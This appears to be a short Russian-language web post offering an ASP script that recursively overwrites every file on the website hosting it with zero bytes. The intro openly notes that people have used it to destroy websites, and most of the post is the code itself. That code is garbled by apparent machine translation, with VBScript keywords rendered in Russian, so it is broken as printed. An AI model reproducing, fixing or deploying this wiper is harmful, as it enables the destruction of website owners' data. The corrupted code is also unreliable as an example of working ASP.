Функция: Вы можете очистить все файлы веб-сайта, на котором находится этот файл, и обнулить содержимое файла. После завершения операции размер всех файлов станет 0 байт.
Этот код является моей собственной разработкой. Пожалуйста, отметьте перепечатку с сайта lamking.com. Кроме того, программу можно расширить.
Некоторые люди использовали ее для уничтожения некоторых веб-сайтов. .
<%
Server.ScriptTimeout=99999
Если Запрос("Отправить")<>"" Тогда
Вызов ListFile(Server.mappath("./"))
Response.write "Очистка завершена"
Еще
Response.write"<form><input type=""submit"" name=""Submit"" value=""Начать очистку""></form>"
Конец, если
Функция ListFile(fpath)
При ошибке Возобновить Далее
Тусклая оболочка, папка, с
Установите Shell =Server.CreateObject («Shell.Application»)
Установить папку =Shell.Namespace(fpath)
Установить f=Server.CreateObject("Adodb.Stream")
е.Тип=1
е.Открыть
Для каждого s в Folder.Items
ЕСЛИ s.isfolder Тогда
Вызов ListFile(s.path)
Еще
f.SaveToFile s.path,2
Конец, если
Следующий
Установить f=Ничего
Установить Shell=ничего
Конечная функция
%>